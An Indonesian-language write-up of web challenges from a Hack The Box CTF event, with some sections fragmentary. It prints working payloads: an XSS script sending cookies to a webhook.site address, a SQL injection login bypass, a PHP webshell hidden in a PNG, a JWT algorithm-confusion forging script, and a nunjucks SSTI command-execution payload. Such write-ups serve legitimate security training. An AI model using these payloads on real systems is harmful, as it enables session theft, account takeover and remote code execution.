Halo semua, kemarin saya baru saja mengikuti event CTF yang diselenggarakan oleh Hack The Box dengan nama event Cyber Santa is Coming to Town. Berikut merupakan writeup dari soal yang saya kerjakan untuk kategori web.
Semua source code soal bisa di download pada link berikut https://mega.nz/folder/sh1xVAJa#9pEAGPdEuIGczVMyI_4W-A
Toy Workshop
Diberikan sebuah soal dengan deskripsi seperti di atas dan sebuah file yang berisikan source code. Setelah dianalisa, ternyata ada endpoint API untuk submit sebuah pesan yang ada pada /api/submit
Lalu pesan tersebut akan diakses oleh admin, yang pasti adminya adalah sebuah bot dan pada cookie terdapat sebuah flag.
Sudah pasti ini merupakan celah keamanan XSS, untuk steal cookienya saya menggunakan bantuan https://webhook.site untuk payloadnya seperti ini
<script>document.write('<img src="https://webhook.site/16ba4109-f905-4866-9012-8e1d3cc50669?c='+document.cookie+'" />');</script>
tinggal disesuaikan url webhook-nya lalu post requestnya maka cookie akan terkirim ke url webhook kita.
Flag: HTB={3v1l_3lv3s_4r3_r1s1ng_up!}
Toy Management
admin'#
pada kolom username dan password sembarang untuk login sebagai admin.Gadget Santa
Elf Directory
$ echo 'eyJ1c2VybmFtZSI6ImJvYiIsImFwcHJvdmVkIjpmYWxzZX0=' | base64 -d
{"username":"bob","approved":false}
Ternyata pada ada key approved yang dijadikan cookie dengan value boolean, saya ubah menjadi true lalu encode Base64. Lalu sebelum kita ganti cookienya jangan lupa lakukan encode URL.
$ echo '{"username":"bob","approved":true}' | base64
eyJ1c2VybmFtZSI6ImJvYiIsImFwcHJvdmVkIjp0cnVlfQo=
Benar saja setelah mengubah cookie tadi, fitur upload bisa digunakan. Tetapi saat mencoba upload file php ternyata tidak diperbolehkan.
Setelah dianalisa ternyata tidak ada whitelist ekstensi file, melainkan content dari file tersebut akan dicek apakah merupakan file PNG atau bukan. Kita bisa menggunakan exiftool untuk menambahkan comment yang berisikan backdoor pada file PNG.
$ exiftool -Comment='<?php system($_GET['cmd"]); ?>" shell.PNG
1 image files updated
$ mv shell.PNG shell.php
Upload foto profile dengan backdoor tadi, dan kita bisa melakukan RCE
Flag: HTB{br4k3_au7hs_g3t_5h3lls}
Naughty or Nice
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
import base64, hmac, hashlib
with open("public.pem", 'r') as f:
pubkey = f.read()
header = '{"alg":"HS256"}'
payload = '{\"username\": \"admin\",\"pk\": \"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwPjcvmjKaFYKKYtA/+49\\n17HAIuXO/zh6zRGxDuqknA0kkyaS0mGkupzmTeXHMlD5I5GaR7DsH2y0kLtbx/30\\nuEtSr6qLfHGW6NzBFHG4i2bXFhIsbdfKQoAeJH2nP78Jg3THVGjwU8DHnu5aEIV0\\njtzAmIx7ifZGbIlu9biyaaLi8ylRbcFBK0mgLH37Uoe3zc6ebeJYaUjRqvcBl40n\\nkX4C9Yx/YsEmShJf7u8Qn2tXnB2rzzluxjQ0k4ls8j++y7YBY+PcU27EsJtJUTjd\\n4/Q+8llGNDtOZBl+cp95jgtuxaQ9gpYRhWX986uRcRKP98sivf4WW87RMzFQ6m4B\\n1wIDAQAB\\n-----END PUBLIC KEY-----\",\"iat\": 1638709953}'
headerBytes = base64.urlsafe_b64encode(header.encode('utf-8'))
encodedHeader = str(headerBytes, "utf-8").rstrip("=")
payloadBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodedPayload = str(payloadBytes, "utf-8").rstrip("=")
token = (encodedHeader + "." + encodedPayload)
signature = base64.urlsafe_b64encode(hmac.new(bytes(pubkey, "UTF-8"), token.encode("utf-8"),hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
jwt = token+"."+signature
print(jwt)
Untuk public key nya saya masukkan pada file public.pem
$ python .\exploit-jwt.py
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsInBrIjogIi0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQXhSWHpibGpoRlpMR2MvL2xidGdaXG54cWl0VEJ1RWlmNURZUjltM24xcWpnUks4NVh1Q1NCd0h5SWpKYWN2S1M3Rm9pVXpmY3pNSEFWNC8xc0VwNnBDXG5pc2d3SDd2bDdLcjdialdENVloV09yVXV1WDUyNmRnenZzRXp0ak5Zb2NPam03aTBNbDEweHFsTllPQUJBVTcxXG5Yd1dUOXhRQ2twMEZ0YjdnbjFwU2dLMGZ2MmZteFRmTmFZWHpyamV6anJYQUlrL2NpY0tHM1hrejdhd1VBVmFZXG40RzNONlQ4WFFjU1pqKzRVYzZaa1BUR1NEdDVnM00vQjdZWFJNa1o1SDlBaVdpMzBabkExZURVMnUyUENob1BPXG44aENNZVpqclVxTnc5STBDcU8xNW02K0RoUTFLY0sxTzIzYWpRMGdGYUNReUFIM0tNcTVUenJVN0NVUndjRG03XG5jUUlEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tIiwiaWF0IjogMTYzODcxNDc1N30.1jXJKqJT-OVFJTMq5-vRhDOzH2GJkbaRcMkKFs_ffwA
Dan kita bisa melakukan list dan update elf menggunakan JWT yang kita generate.
Lalu langkah selanjutnya kita cek kembali source codenya, dan pada file CardHelper.js memberikan informasi dimana website tersebut menggunakan nunjucks sebagai template engine-nya. Menurut referensi yang saya dapatkan, kita bisa mengeksploitasi celah SSTI untuk mendapatkan code execution pada template engine nunjucks.
Saya coba payload sederhana terlebih dahulu yaitu {{7*7}} untuk memastikan celah tersebut.
Yap berhasil mengembalikan nilai 49, berarti memang benar ada celah SSTI. Lalu untuk melakukan code execution dan mendapatkan flag bisa menggunakan payload berikut.
{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /flag.txt')")()}}
Flag: HTB{S4nt4_g0t_ninety9_pr0bl3ms_but_chr1stm4s_4in7_0n3}
Sekian writeup yang bisa saya tulis, jika ada kesalahan dalam penjelasan bisa hubungi kontak yang tertera untuk direvisi kembali.
Terima Kasih……………….